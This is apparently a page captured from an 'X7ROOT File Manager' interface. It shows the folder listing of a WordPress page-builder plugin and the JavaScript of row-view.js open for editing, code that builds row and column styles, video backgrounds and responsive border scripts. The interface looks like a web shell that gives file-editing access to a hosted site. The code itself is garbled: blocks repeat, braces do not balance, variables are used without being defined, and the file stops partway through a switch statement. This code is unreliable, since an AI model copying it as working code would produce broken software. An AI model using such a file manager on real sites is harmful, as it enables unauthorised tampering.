File Manager

X7ROOT File Manager

Current Path: /home/oakwood/public_html/wp-content/plugins/page-builder-add/admin/scripts

home / oakwood / public_html / wp-content / plugins / page-builder-add / admin / scripts /

ðŸ“ ..
ðŸ“ ajax
ðŸ“„ bb3.js(129.04 KB)
ðŸ“„ bb4.js(23.77 KB)
ðŸ“ blocks
ðŸ“„ init.js(10.45 KB)
ðŸ“„ new-row.js(10.58 KB)
ðŸ“„ pbb-CollectionView.js(16.82 KB)
ðŸ“„ pbb-drag-n-drop.js(54.36 KB)
ðŸ“„ pbb-model-1.js(18.25 KB)
ðŸ“„ pbb-model-2.js(14.07 KB)
ðŸ“„ renderPageOps.js(36.75 KB)
ðŸ“„ row-view.js(214.73 KB)
ðŸ“„ save-page.js(62.96 KB)
ðŸ“„ side-panel.js(9.55 KB)
ðŸ“„ undo-redo.js(71.64 KB)
ðŸ“„ widget-render.js(420.54 KB)
ðŸ“„ widget-view.js(252.47 KB)

Editing: row-view.js

(function ($) {
  pageBuilderApp.prevStateOption = false;
  pageBuilderApp.prevClickedOnSafeModeBtn = false;
  pageBuilderApp.isInlineSavingActive = false;

const setUpdatedOptsObject = (obj, path, val) => {
    const keys = path.split(".");
    const lastKey = keys.pop();
    const lastObj = keys.reduce((obj, key) => (obj[key] = obj[key] || {}), obj);
    pageBuilderApp.prevStateOption = _.clone(lastObj[lastKey]);
    lastObj[lastKey] = val;
  };

function POPB_strip(html) {
    html = html.replace(/<br>/g, "$br$");

html = html.replace(/<div>/g, "$br$");

html = html.replace(/(?:\r\n|\r|\n)/g, "$br$");

var tmp = document.createElement("DIV");
    tmp.innerHTML = html;
    html = tmp.textContent || tmp.innerText;

html = html.replace(/\$br\$/g, "<br>");

return html;
  }

if (thisPostType == "ulpb_global_rows") {
        $(".newRowBtnContainerVisible").remove();
      } else {
        var ifIsGlobal = this.model.get("globalRow");
        if (typeof ifIsGlobal != "undefined") {
          if (ifIsGlobal["isGlobalRow"] == true) {
            getGlobalRowDataFromDb(ifIsGlobal["globalRowPid"]);

retrievedGlobalRowAttributes = $(
              ".globalRowRetrievedAttributes"
            ).val();

if (retrievedGlobalRowAttributes != "") {
              this.model.set(JSON.parse(retrievedGlobalRowAttributes));
            }

rowHeight = this.model.get("rowHeight");
            rowHeightUnit = this.model.get("rowHeightUnit");

if (typeof rowHeightUnit == "undefined" || rowHeightUnit == "") {
              rowHeightUnit = "px";
            } else {
              rowHeightUnit = this.model.get("rowHeightUnit");
            }

$('li[data-model-cid="' + rowCID + '"] section').append(
              '<div class="globalRowOverlay" style=" position:absolute; height:100%; z-index:9; width: 100%; left: 0px; right: 0px; "> <br><br><br> ' +
                '<h3 style="color:#fff;"> This is a Global Row </h3> <br> <a href="' +
                admURL +
                "/post.php?post=" +
                ifIsGlobal["globalRowPid"] +
                '&action=edit"  target="_blank" >You can edit it here </a> ' +
                "</div>"
            );

$('li[data-model-cid="' + rowCID + '"]').mouseenter(function () {
              $(
                'li[data-model-cid="' + rowCID + '"] section .globalRowOverlay'
              ).css("display", "block");
            });
            $('li[data-model-cid="' + rowCID + '"]').mouseleave(function () {
              $(
                'li[data-model-cid="' + rowCID + '"] section .globalRowOverlay'
              ).css("display", "none");
            });
          }
        }
      }

var rowID = this.model.get("rowID");
      var rowCID = this.model.cid;
      rowColumns = this.model.get("columns");
      rowHeight = this.model.get("rowHeight");
      rowHeightUnit = this.model.get("rowHeightUnit");
      var rowData = this.model.get("rowData");
      var row_bg_img = rowData["bg_img"];
      var row_bg_color = rowData["bg_color"];
      var row_margin = rowData["margin"];
      var row_padding = rowData["padding"];
      var custom_styling = rowData["customStyling"];
      var custom_JS = rowData["customJS"];

var thisModelDataAttr = _.clone(this.model.attributes);

var defaultModelDataAttr = JSON.stringify(
        _.clone(pageBuilderApp.rowModelDefaultOps)
      );

defaultModelDataAttr = JSON.parse(defaultModelDataAttr);

mergeNonsetObjectKeys(
        thisModelDataAttr["rowData"],
        defaultModelDataAttr["rowData"]
      );

rowData = thisModelDataAttr["rowData"];

if (typeof this.model.get("column0") != "undefined") {
        delete this.model.attributes.column0;
      }

if (typeof rowHeightUnit == "undefined" || rowHeightUnit == "") {
        rowHeightUnit = "px";
      } else {
        rowHeightUnit = this.model.get("rowHeightUnit");
      }

var rowHideOnDesktop = "'display':'block'",
        rowHideOnTablet = "'display':'block'",
        rowHideOnMobile = "'display':'block'";
      if (typeof rowData["rowHideOnDesktop"] !== "undefined") {
        if (rowData["rowHideOnDesktop"] == "hide") {
          rowHideOnDesktop = "display:'none' ,";
        }

if (rowData["rowHideOnTablet"] == "hide") {
          rowHideOnTablet = "display:'none' ,";
        }
        if (rowData["rowHideOnMobile"] == "hide") {
          rowHideOnMobile = "display:'none' ,";
        }
      }

if (typeof rowData["rowCustomClass"] !== "undefined") {
        $('li[data-model-cid="' + rowCID + '"] section').addClass(
          rowData["rowCustomClass"]
        );
      }

if (typeof this.model.get("rowHeightTablet") !== "undefined") {
        rowHeightTablet = this.model.get("rowHeightTablet");
        rowHeightUnitTablet = this.model.get("rowHeightUnitTablet");
        rowHeightMobile = this.model.get("rowHeightMobile");
        rowHeightUnitMobile = this.model.get("rowHeightUnitMobile");
      } else {
        rowHeightTablet = "";
        rowHeightUnitTablet = "";
        rowHeightMobile = "";
        rowHeightUnitMobile = "";
      }

if (typeof rowData["marginTablet"] !== "undefined") {
        rowMarginTablet = rowData["marginTablet"];
        rowPaddingTablet = rowData["paddingTablet"];

if (rowMarginTablet["rMTT"] == "") {
          rowMarginTablet["rMTT"] = "0";
        }
        if (rowMarginTablet["rMBT"] == "") {
          rowMarginTablet["rMBT"] = "0";
        }
        if (rowMarginTablet["rMLT"] == "") {
          rowMarginTablet["rMLT"] = "0";
        }
        if (rowMarginTablet["rMRT"] == "") {
          rowMarginTablet["rMRT"] = "0";
        }

if (rowPaddingTablet["rPTT"] == "") {
          rowPaddingTablet["rPTT"] = "1.5";
        }
        if (rowPaddingTablet["rPBT"] == "") {
          rowPaddingTablet["rPBT"] = "1.5";
        }
        if (rowPaddingTablet["rPLT"] == "") {
          rowPaddingTablet["rPLT"] = "1.5";
        }
        if (rowPaddingTablet["rPRT"] == "") {
          rowPaddingTablet["rPRT"] = "1.5";
        }

if (typeof rowData["marginMobile"] !== "undefined") {
        rowMarginMobile = rowData["marginMobile"];
        rowPaddingMobile = rowData["paddingMobile"];

if (rowMarginMobile["rMTM"] == "") {
          rowMarginMobile["rMTM"] = "0";
        }
        if (rowMarginMobile["rMBM"] == "") {
          rowMarginMobile["rMBM"] = "0";
        }
        if (rowMarginMobile["rMLM"] == "") {
          rowMarginMobile["rMLM"] = "0";
        }
        if (rowMarginMobile["rMRM"] == "") {
          rowMarginMobile["rMRM"] = "0";
        }

if (rowPaddingMobile["rPTM"] == "") {
          rowPaddingMobile["rPTM"] = "1.5";
        }
        if (rowPaddingMobile["rPBM"] == "") {
          rowPaddingMobile["rPBM"] = "1.5";
        }
        if (rowPaddingMobile["rPLM"] == "") {
          rowPaddingMobile["rPLM"] = "1.5";
        }
        if (rowPaddingMobile["rPRM"] == "") {
          rowPaddingMobile["rPRM"] = "1.5";
        }

var currentRowResponsiveTriggerScripts =
        "\n" +
        currRowMarginTablet +
        "\n" +
        currRowMarginMobile +
        "\n" +
        currRowDefaultMarginPadding;

var currRowPadding =
        "padding:" +
        row_padding["rowPaddingTop"] +
        "% " +
        row_padding["rowPaddingRight"] +
        "% " +
        row_padding["rowPaddingBottom"] +
        "% " +
        row_padding["rowPaddingLeft"] +
        "%; ";
      var currRowMargins =
        "margin:" +
        row_margin["rowMarginTop"] +
        "% " +
        row_margin["rowMarginRight"] +
        "% " +
        row_margin["rowMarginBottom"] +
        "% " +
        row_margin["rowMarginLeft"] +
        "%; ";

var rowBackgroundOptions = "background-color:" + row_bg_color + ";";

rowBackgroundParallax = "";
      if (typeof rowData["rowBackgroundParallax"] !== "undefined") {
        if (rowData["rowBackgroundParallax"] == "true") {
          rowBackgroundParallax = "background-attachment:fixed;";
        }
      }
      if (row_bg_img != "") {
        rowBackgroundOptions =
          "background-image: url(" +
          row_bg_img +
          "); background-repeat:no-repeat; background-position: center center;  background-size: cover; background-color:" +
          row_bg_color +
          ";";
      }

var defaultRowBackgroundType = "solid";
      if (typeof rowData["rowBackgroundType"] !== "undefined") {
        defaultRowBackgroundType = rowData["rowBackgroundType"];
        if (rowData["rowBackgroundType"] == "gradient") {
          var rowGradient = rowData["rowGradient"];

if (rowGradient["rowGradientType"] == "linear") {
            rowBackgroundOptions =
              "background: linear-gradient(" +
              rowGradient["rowGradientAngle"] +
              "deg, " +
              rowGradient["rowGradientColorFirst"] +
              " " +
              rowGradient["rowGradientLocationFirst"] +
              "%," +
              rowGradient["rowGradientColorSecond"] +
              " " +
              rowGradient["rowGradientLocationSecond"] +
              "%);";
          }

if (rowGradient["rowGradientType"] == "radial") {
            rowBackgroundOptions =
              "background: radial-gradient(at " +
              rowGradient["rowGradientPosition"] +
              ", " +
              rowGradient["rowGradientColorFirst"] +
              " " +
              rowGradient["rowGradientLocationFirst"] +
              "%," +
              rowGradient["rowGradientColorSecond"] +
              " " +
              rowGradient["rowGradientLocationSecond"] +
              "%);";
          }
        }
      }

var thisRowHoverStyleTag = "";
      var thisRowHoverOption = "";
      if (typeof rowData["rowHoverOptions"] !== "undefined") {
        var rowHoverOptions = rowData["rowHoverOptions"];
        if (rowHoverOptions["rowBackgroundTypeHover"] == "solid") {
          var thisRowHoverOption =
            " #" +
            rowID +
            ":hover { background:" +
            rowHoverOptions["rowBgColorHover"] +
            " !important; transition: all " +
            rowHoverOptions["rowHoverTransitionDuration"] +
            "s; }";
        }
        if (rowHoverOptions["rowBackgroundTypeHover"] == "gradient") {
          var rowGradientHover = rowHoverOptions["rowGradientHover"];

if (rowGradientHover["rowGradientTypeHover"] == "linear") {
            thisRowHoverOption =
              " #" +
              rowID +
              ":hover { background: linear-gradient(" +
              rowGradientHover["rowGradientAngleHover"] +
              "deg, " +
              rowGradientHover["rowGradientColorFirstHover"] +
              " " +
              rowGradientHover["rowGradientLocationFirstHover"] +
              "%," +
              rowGradientHover["rowGradientColorSecondHover"] +
              " " +
              rowGradientHover["rowGradientLocationSecondHover"] +
              "%) !important; transition: all " +
              rowHoverOptions["rowHoverTransitionDuration"] +
              "s; }";
          }

if (rowGradientHover["rowGradientTypeHover"] == "radial") {
            thisRowHoverOption =
              " #" +
              rowID +
              ":hover { background: radial-gradient(at " +
              rowGradientHover["rowGradientPositionHover"] +
              ", " +
              rowGradientHover["rowGradientColorFirstHover"] +
              " " +
              rowGradientHover["rowGradientLocationFirstHover"] +
              "%," +
              rowGradientHover["rowGradientColorSecondHover"] +
              " " +
              rowGradientHover["rowGradientLocationSecondHover"] +
              "%) !important; transition: all " +
              rowHoverOptions["rowHoverTransitionDuration"] +
              "s; }";
          }
        }

thisRowHoverStyleTag = "<style> " + thisRowHoverOption + " </style>";
      }

rowOverlayBackgroundOptions = "";
      if (typeof rowData["rowBgOverlayColor"] !== "undefined") {
        var rowOverlayBackgroundOptions =
          "background:" +
          rowData["rowBgOverlayColor"] +
          "; background-color:" +
          rowData["rowBgOverlayColor"] +
          ";";
      }

if (typeof rowData["rowOverlayBackgroundType"] !== "undefined") {
        if (rowData["rowOverlayBackgroundType"] == "gradient") {
          var rowOverlayGradient = rowData["rowOverlayGradient"];

if (rowOverlayGradient["rowOverlayGradientType"] == "linear") {
            rowOverlayBackgroundOptions =
              "background: linear-gradient(" +
              rowOverlayGradient["rowOverlayGradientAngle"] +
              "deg, " +
              rowOverlayGradient["rowOverlayGradientColorFirst"] +
              " " +
              rowOverlayGradient["rowOverlayGradientLocationFirst"] +
              "%," +
              rowOverlayGradient["rowOverlayGradientColorSecond"] +
              " " +
              rowOverlayGradient["rowOverlayGradientLocationSecond"] +
              "%);";
          }

if (rowOverlayGradient["rowOverlayGradientType"] == "radial") {
            rowOverlayBackgroundOptions =
              "background: radial-gradient(at " +
              rowOverlayGradient["rowOverlayGradientPosition"] +
              ", " +
              rowOverlayGradient["rowOverlayGradientColorFirst"] +
              " " +
              rowOverlayGradient["rowOverlayGradientLocationFirst"] +
              "%," +
              rowOverlayGradient["rowOverlayGradientColorSecond"] +
              " " +
              rowOverlayGradient["rowOverlayGradientLocationSecond"] +
              "%);";
          }
        }
      }

$(this.el).attr(
        "style",
        "height:auto; overflow:visible; " +
          rowBackgroundOptions +
          " " +
          rowBackgroundParallax +
          " " +
          currRowMargins +
          " " +
          currRowPadding +
          custom_styling
      );

$(this.el).attr("id", rowID);

var rennderredShapeTopScripts = "";
      if (typeof rowData["bgSTop"] != "undefined") {
        var bgSTop = rowData["bgSTop"];
        var shapeType = bgSTop["rbgstType"];
        var rennderredShapeTop = bgshapessvgrender(
          rowID,
          shapeType,
          false,
          bgSTop,
          "false"
        );

jQuery(this.el).append(rennderredShapeTop["html"]);
        rennderredShapeTopScripts = rennderredShapeTop["scripts"];
      }

var rennderredShapeBottomScripts = "";
      if (typeof rowData["bgSBottom"] != "undefined") {
        var bgSBottom = rowData["bgSBottom"];
        var shapeType = bgSBottom["rbgsbType"];
        bgSTop = "false";
        var rennderredShapeBottom = bgshapessvgrender(
          rowID,
          shapeType,
          true,
          "false",
          bgSBottom
        );

jQuery(this.el).append(rennderredShapeBottom["html"]);
        rennderredShapeBottomScripts = rennderredShapeBottom["scripts"];
      }

var VideoBgHtml = "";
      var VideoBgStyling = "";
      if (typeof rowData["video"] != "undefined") {
        var rowVideo = rowData["video"];
        if (typeof rowVideo["rowBgVideoEnable"] == "undefined") {
          rowVideo["rowBgVideoEnable"] = "";
        }
        rowBgVideoEnable = rowVideo["rowBgVideoEnable"];
        if (rowBgVideoEnable == "true") {
          rowBgVideoLoop = rowVideo["rowBgVideoLoop"];
          rowVideoMpfour = rowVideo["rowVideoMpfour"];
          rowVideoWebM = rowVideo["rowVideoWebM"];
          rowVideoThumb = rowVideo["rowVideoThumb"];

rowVideoID = "bgVid-" + rowID;

var VideoBgHtml =
            '<video class="rowBgVideo" poster="' +
            rowVideoThumb +
            '" id="' +
            rowVideoID +
            '" playsinline autoplay muted ' +
            rowBgVideoLoop +
            ' > <source src="' +
            rowVideoWebM +
            '" type="video/webm"> <source src="' +
            rowVideoMpfour +
            '" type="video/mp4"> </video>';

var ifVideoMp4RowStyles =
            "#" + rowID + " {overflow:hidden !important; position:relative; }";

if (typeof rowVideo["rowVideoType"] != "undefined") {
            if (rowVideo["rowVideoType"] == "yt") {
              ytvidId = ytVidURLParser(rowVideo["rowVideoYtUrl"]);
              var VideoBgHtml =
                '<iframe id="' +
                rowVideoID +
                '" width="100%" height="100%" src="https://www.youtube.com/embed/' +
                ytvidId +
                "?rel=0&amp;controls=0&amp;showinfo=0;mute=1;autoplay=1&loop=1&playlist=" +
                ytvidId +
                '" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen ></iframe>';
              ifVideoMp4RowStyles = "";
            }
          }

var VideoBgStyling =
            '<div class="rowBgVidStyles"> <style type="text/css">#' +
            rowVideoID +
            ' { position: absolute; min-width: 100%; min-height: 100%;background: url("' +
            rowVideoThumb +
            '") no-repeat;background-size: cover;transition: 1s opacity; left:0; right:0; top: 0; } ' +
            ifVideoMp4RowStyles +
            " </style> </div>";

$(this.el).prepend(VideoBgHtml + VideoBgStyling);
        }
      }

//New extra BG Options for Row
      currRowDefaultBackgroundOps = "";
      currRowtabletBackgroundOps = "";
      currRowmobileBackgroundOps = "";

if (defaultRowBackgroundType == "solid") {
        if (typeof rowData["bgImgOps"] != "undefined") {
          drbgImgOps = rowData["bgImgOps"];

defaultRowBgImg = rowData["bg_img"];

if (typeof rowData["bg_imgT"] == "undefined") {
            rowData["bg_imgT"] = "";
            rowData["bg_imgM"] = "";
          }

tabletRowBgImg = rowData["bg_imgT"];
          mobileRowBgImg = rowData["bg_imgM"];
          if (tabletRowBgImg == "") {
            tabletRowBgImg = defaultRowBgImg;
          }
          if (mobileRowBgImg == "") {
            mobileRowBgImg = tabletRowBgImg;
          }

defaultRowBgFixed = "scroll";
          if (rowData["rowBackgroundParallax"] == "true") {
            defaultRowBgFixed = "fixed";
          }
          tabletRowBgFixed = defaultRowBgFixed;
          mobileRowBgFixed = defaultRowBgFixed;

if (typeof drbgImgOps["parlxT"] == "undefined") {
            drbgImgOps["parlxT"] = "";
            drbgImgOps["parlxM"] = "";
          }

if (drbgImgOps["parlxT"] == "true") {
            tabletRowBgFixed = "fixed";
          }
          if (drbgImgOps["parlxT"] == "false") {
            tabletRowBgFixed = "scroll";
          }
          if (drbgImgOps["parlxM"] == "true") {
            mobileRowBgFixed = "fixed";
          }
          if (drbgImgOps["parlxM"] == "false") {
            mobileRowBgFixed = "scroll";
          }

drbgImgOpsRep = drbgImgOps["rep"];
          drbgImgOpsRepT = drbgImgOps["repT"];
          drbgImgOpsRepM = drbgImgOps["repM"];

// desktop
          if (drbgImgOps["pos"] == "custom") {
            defaultBgImgPos =
              "'background-position-x': '" +
              drbgImgOps["xPos"] +
              drbgImgOps["xPosU"] +
              "', " +
              "'background-position-y': '" +
              drbgImgOps["yPos"] +
              drbgImgOps["yPosU"] +
              "', ";
          } else {
            defaultBgImgPos =
              "'background-position': '" + drbgImgOps["pos"] + "', ";
          }

if (drbgImgOpsRep == "" || drbgImgOpsRep == "default") {
            drbgImgOpsRep = "no-repeat";
          }

if (drbgImgOps["size"] == "custom") {
            defaultBgImgSize =
              "'background-size': '" +
              drbgImgOps["cWid"] +
              drbgImgOps["widU"] +
              "', ";
          } else {
            defaultBgImgSize =
              "'background-size': '" + drbgImgOps["size"] + "', ";
          }

// Tablet
          if (drbgImgOps["posT"] == "custom") {
            tabletBgImgPos =
              "'background-position-x': '" +
              drbgImgOps["xPosT"] +
              drbgImgOps["xPosUT"] +
              "', " +
              "'background-position-y': '" +
              drbgImgOps["yPosT"] +
              drbgImgOps["yPosUT"] +
              "', ";
          } else if (drbgImgOps["posT"] == "") {
            tabletBgImgPos = defaultBgImgPos;
          } else {
            tabletBgImgPos =
              "'background-position': '" + drbgImgOps["posT"] + "', ";
          }

if (drbgImgOpsRepT == "" || drbgImgOpsRepT == "default") {
            drbgImgOpsRepT = drbgImgOpsRep;
          }

if (drbgImgOps["sizeT"] == "custom") {
            tabletBgImgSize =
              "'background-size': '" +
              drbgImgOps["cWidT"] +
              drbgImgOps["widUT"] +
              "', ";
          } else if (drbgImgOps["sizeT"] == "") {
            tabletBgImgSize = defaultBgImgSize;
          } else {
            tabletBgImgSize =
              "'background-size': '" + drbgImgOps["sizeT"] + "', ";
          }

// mobile
          if (drbgImgOps["posM"] == "custom") {
            mobileBgImgPos =
              "'background-position-x': '" +
              drbgImgOps["xPosM"] +
              drbgImgOps["xPosUM"] +
              "', " +
              "'background-position-y': '" +
              drbgImgOps["yPosM"] +
              drbgImgOps["yPosUM"] +
              "', ";
          } else if (drbgImgOps["posM"] == "") {
            mobileBgImgPos = tabletBgImgPos;
          } else {
            mobileBgImgPos =
              "'background-position': '" + drbgImgOps["posM"] + "', ";
          }

if (drbgImgOpsRepM == "" || drbgImgOpsRepM == "default") {
            drbgImgOpsRepM = drbgImgOpsRepT;
          }

if (drbgImgOps["sizeM"] == "custom") {
            mobileBgImgSize =
              "'background-size': '" +
              drbgImgOps["cWidM"] +
              drbgImgOps["widUM"] +
              "', ";
          } else if (drbgImgOps["sizeM"] == "") {
            mobileBgImgSize = tabletBgImgSize;
          } else {
            mobileBgImgSize =
              "'background-size': '" + drbgImgOps["sizeM"] + "', ";
          }

rowBgResScripts =
        currRowDefaultBackgroundOps +
        currRowtabletBackgroundOps +
        currRowmobileBackgroundOps;

$(this.el).append(
        ' <div class="row-overlay" style="height:100%; ' +
          rowOverlayBackgroundOptions +
          ' top:0; left: 0; width: 100%; position:absolute;"></div>'
      );

$(this.el).append(
        '<div id="ulpb_row_controls" class="ulpb_row_controls" style="display:none;">' +
          '<div id="edit_form_close" class="btn-red btn" style="display:none;"><span class="dashicons dashicons-no-alt"></span></div>' +
          '<div id="editRowSave" style="display:none;"><span style="padding: 25px 0px 25px 0px;background: transparent;border-radius: 5px;display:unset;font-size: 35px;color: #585858;border-top-left-radius: 0;border-bottom-left-radius: 0;" class="dashicons dashicons-arrow-left"></span> </div>' +
          '<div id="editRowSaveVisible" class=""><span class="dashicons dashicons-arrow-left editSaveVisibleIcon"></span> </div>' +
          '<div id="reAddDeletedColumns" style="display:none;" ></div>' +
          '<div id="copyThisRowLS" style="display:none;" ></div>' +
          '<div id="pasteThisRowLS" style="display:none;" ></div>' +
          "</div>"
      );

$(this.el).append(
        '<div id="thisRowScripts" style="display:none !important;">' +
          currentRowResponsiveTriggerScripts +
          rowBgResScripts +
          rennderredShapeTopScripts +
          rennderredShapeBottomScripts +
          thisRowHoverStyleTag +
          "</div>"
      );
      columnContainerSetWidth = "max-width:100%;";
      if (typeof rowData["conType"] != "undefined") {
        if (rowData["conType"] == "boxed") {
          if (rowData["conWidth"] != "") {
            columnContainerSetWidth =
              "max-width:" + rowData["conWidth"] + "px;";
          }
        }
      }
      $(this.el).append(
        '<div class="rowColumnsContainer" id="rowColCont-' +
          rowID +
          '" style=' +
          columnContainerSetWidth +
          "></div>"
      );

colControlsArray = [];
      for (var i = 1; i <= rowColumns; i++) {
        var this_column = "column" + i;
        var thisColumnModelData = this.model.get(this_column);
        if (typeof thisColumnModelData == "undefined") {
          continue;
        }

var thisModelDataAttr = thisColumnModelData["columnOptions"];

if (typeof thisModelDataAttr["colBorder"] !== "undefined") {
          colBorder = thisModelDataAttr["colBorder"];

if (typeof colBorder["bwt"] == "undefined") {
            colBorder["bwt"] = colBorder["colBorderWidth"];
            colBorder["bwb"] = colBorder["colBorderWidth"];
            colBorder["bwl"] = colBorder["colBorderWidth"];
            colBorder["bwr"] = colBorder["colBorderWidth"];
          }

if (typeof colBorder["brt"] == "undefined") {
            colBorder["brt"] = colBorder["colBorderRadius"];
            colBorder["brb"] = colBorder["colBorderRadius"];
            colBorder["brl"] = colBorder["colBorderRadius"];
            colBorder["brr"] = colBorder["colBorderRadius"];
          }
        }

var thisModelDefaultColOps = JSON.stringify(
          _.clone(pageBuilderApp.thisModelDefaultColOps)
        );

thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps);

mergeNonsetObjectKeys(
          thisModelDataAttr,
          thisModelDefaultColOps.columnOptions
        );

var this_column_options = thisColumnModelData["columnOptions"];
        var this_column_bg_color = this_column_options["bg_color"];
        var this_column_margin = this_column_options["margin"];
        var this_column_padding = this_column_options["padding"];
        var colWidth = this_column_options["width"];
        var columnCSS = this_column_options["columnCSS"];
        //var colWidthInPx = Math.floor( (1268*colWidth)/100);
        var columnMarginTop = this_column_margin["columnMarginTop"];
        var columnMarginRight = this_column_margin["columnMarginRight"];
        var columnMarginBottom = this_column_margin["columnMarginBottom"];
        var columnMarginLeft = this_column_margin["columnMarginLeft"];

var columnPaddingTop = this_column_padding["columnPaddingTop"];
        var columnPaddingRight = this_column_padding["columnPaddingRight"];
        var columnPaddingBottom = this_column_padding["columnPaddingBottom"];
        var columnPaddingLeft = this_column_padding["columnPaddingLeft"];

var this_column_margins =
          "margin:" +
          columnMarginTop +
          "% " +
          columnMarginRight +
          "% " +
          columnMarginBottom +
          "% " +
          columnMarginLeft +
          "%;   padding:" +
          columnPaddingTop +
          "% " +
          columnPaddingRight +
          "% " +
          columnPaddingBottom +
          "% " +
          columnPaddingLeft +
          "%;";

this_col_shadow = "";
        if (typeof this_column_options["colBoxShadow"] !== "undefined") {
          colBoxShadow = this_column_options["colBoxShadow"];
          var this_col_shadow =
            "box-shadow: " +
            colBoxShadow["colBoxShadowH"] +
            "px  " +
            colBoxShadow["colBoxShadowV"] +
            "px  " +
            colBoxShadow["colBoxShadowBlur"] +
            "px " +
            colBoxShadow["colBoxShadowColor"] +
            " ;  ";
        }

if (typeof this_column_options["colBorder"] !== "undefined") {
          colBorder = this_column_options["colBorder"];
          if (typeof colBorder["bwt"] == "undefined") {
            colBorder["bwt"] = colBorder["colBorderWidth"];
            colBorder["bwb"] = colBorder["colBorderWidth"];
            colBorder["bwl"] = colBorder["colBorderWidth"];
            colBorder["bwr"] = colBorder["colBorderWidth"];

this_column_options["colBorder"] = colBorder;
          }

this_column_options["colBorder"] = colBorder;
          }
        }

this_column_options["colBorder"] = colBorder;
          }

this_column_options["colBorder"] = colBorder;
          }
        }

this_col_border = "";
        currColBorderDefault = "";
        currColBorderTablet = "";
        currColBorderMobile = "";
        if (typeof this_column_options["colBorder"] !== "undefined") {
          colBorder = this_column_options["colBorder"];
          var this_col_border =
            "border-top-width:" +
            colBorder["bwt"] +
            "px;" +
            "border-bottom-width:" +
            colBorder["bwb"] +
            "px;" +
            "border-left-width:" +
            colBorder["bwl"] +
            "px;" +
            "border-right-width:" +
            colBorder["bwr"] +
            "px;" +
            "border-style:" +
            colBorder["colBorderStyle"] +
            ";" +
            "border-color:" +
            colBorder["colBorderColor"] +
            ";" +
            "border-radius:" +
            colBorder["brt"] +
            "px " +
            colBorder["brb"] +
            "px " +
            colBorder["brr"] +
            "px " +
            colBorder["brl"] +
            "px;";
          if (typeof colBorder["bwt"] != "undefined") {
            var currColBorderDefault =
              "" +
              "<script>" +
              "jQuery('.responsiveBtn').on('click',function(){" +
              "if (jQuery(this).hasClass('rbt-l') ) { " +
              "jQuery('#" +
              rowID +
              "-" +
              this_column +
              "').css({" +
              "'border-top-width':'" +
              colBorder["bwt"] +
              "px'," +
              "'border-bottom-width':'" +
              colBorder["bwb"] +
              "px'," +
              "'border-left-width':'" +
              colBorder["bwl"] +
              "px'," +
              "'border-right-width':'" +
              colBorder["bwr"] +
              "px'," +
              "'border-radius':'" +
              colBorder["brt"] +
              "px " +
              colBorder["brb"] +
              "px " +
              colBorder["brr"] +
              "px " +
              colBorder["brl"] +
              "px'," +
              "});" +
              "}" +
              "});" +
              "var currentVPS = jQuery('.currentViewPortSize').val();" +
              "if ( currentVPS == 'rbt-l' ) { " +
              "jQuery('#" +
              rowID +
              "-" +
              this_column +
              "').css({" +
              "'border-top-width':'" +
              colBorder["bwt"] +
              "px'," +
              "'border-bottom-width':'" +
              colBorder["bwb"] +
              "px'," +
              "'border-left-width':'" +
              colBorder["bwl"] +
              "px'," +
              "'border-right-width':'" +
              colBorder["bwr"] +
              "px'," +
              "'border-radius':'" +
              colBorder["brt"] +
              "px " +
              colBorder["brb"] +
              "px " +
              colBorder["brr"] +
              "px " +
              colBorder["brl"] +
              "px'," +
              "});" +
              "}" +
              "</script>";
          }

if (typeof colBorder["bwtT"] != "undefined") {
            var currColBorderTablet =
              "" +
              "<script>" +
              "jQuery('.responsiveBtn').on('click',function(){" +
              "if (jQuery(this).hasClass('rbt-m') ) { " +
              "jQuery('#" +
              rowID +
              "-" +
              this_column +
              "').css({" +
              "'border-top-width':'" +
              colBorder["bwtT"] +
              "px'," +
              "'border-bottom-width':'" +
              colBorder["bwbT"] +
              "px'," +
              "'border-left-width':'" +
              colBorder["bwlT"] +
              "px'," +
              "'border-right-width':'" +
              colBorder["bwrT"] +
              "px'," +
              "'border-radius':'" +
              colBorder["brtT"] +
              "px " +
              colBorder["brbT"] +
              "px " +
              colBorder["brrT"] +
              "px " +
              colBorder["brlT"] +
              "px'," +
              "});" +
              "}" +
              "});" +
              "var currentVPS = jQuery('.currentViewPortSize').val();" +
              "if ( currentVPS == 'rbt-m' ) { " +
              "jQuery('#" +
              rowID +
              "-" +
              this_column +
              "').css({" +
              "'border-top-width':'" +
              colBorder["bwtT"] +
              "px'," +
              "'border-bottom-width':'" +
              colBorder["bwbT"] +
              "px'," +
              "'border-left-width':'" +
              colBorder["bwlT"] +
              "px'," +
              "'border-right-width':'" +
              colBorder["bwrT"] +
              "px'," +
              "'border-radius':'" +
              colBorder["brtT"] +
              "px " +
              colBorder["brbT"] +
              "px " +
              colBorder["brrT"] +
              "px " +
              colBorder["brlT"] +
              "px'," +
              "});" +
              "}" +
              "</script>";
          }

if (typeof colBorder["bwtM"] != "undefined") {
            var currColBorderMobile =
              "" +
              "<script>" +
              "jQuery('.responsiveBtn').on('click',function(){" +
              "if (jQuery(this).hasClass('rbt-s') ) { " +
              "jQuery('#" +
              rowID +
              "-" +
              this_column +
              "').css({" +
              "'border-top-width':'" +
              colBorder["bwtM"] +
              "px'," +
              "'border-bottom-width':'" +
              colBorder["bwbM"] +
              "px'," +
              "'border-left-width':'" +
              colBorder["bwlM"] +
              "px'," +
              "'border-right-width':'" +
              colBorder["bwrM"] +
              "px'," +
              "'border-radius':'" +
              colBorder["brtM"] +
              "px " +
              colBorder["brbM"] +
              "px " +
              colBorder["brrM"] +
              "px " +
              colBorder["brlM"] +
              "px'," +
              "});" +
              "}" +
              "});" +
              "var currentVPS = jQuery('.currentViewPortSize').val();" +
              "if ( currentVPS == 'rbt-s' ) { " +
              "jQuery('#" +
              rowID +
              "-" +
              this_column +
              "').css({" +
              "'border-top-width':'" +
              colBorder["bwtM"] +
              "px'," +
              "'border-bottom-width':'" +
              colBorder["bwbM"] +
              "px'," +
              "'border-left-width':'" +
              colBorder["bwlM"] +
              "px'," +
              "'border-right-width':'" +
              colBorder["bwrM"] +
              "px'," +
              "'border-radius':'" +
              colBorder["brtM"] +
              "px " +
              colBorder["brbM"] +
              "px " +
              colBorder["brrM"] +
              "px " +
              colBorder["brlM"] +
              "px'," +
              "});" +
              "}" +
              "</script>";
          }
        }

colBorderResponsiveScripts =
          currColBorderDefault + currColBorderTablet + currColBorderMobile;

this_col_shadow = this_col_shadow + this_col_border;

colWidthIsEmpty = false;
        var colWidthUnit = "%";
        if (colWidth == "" || colWidth == " ") {
          switch (rowColumns) {
            case "1":
              colWidth = 100;
              break;
            case "2":
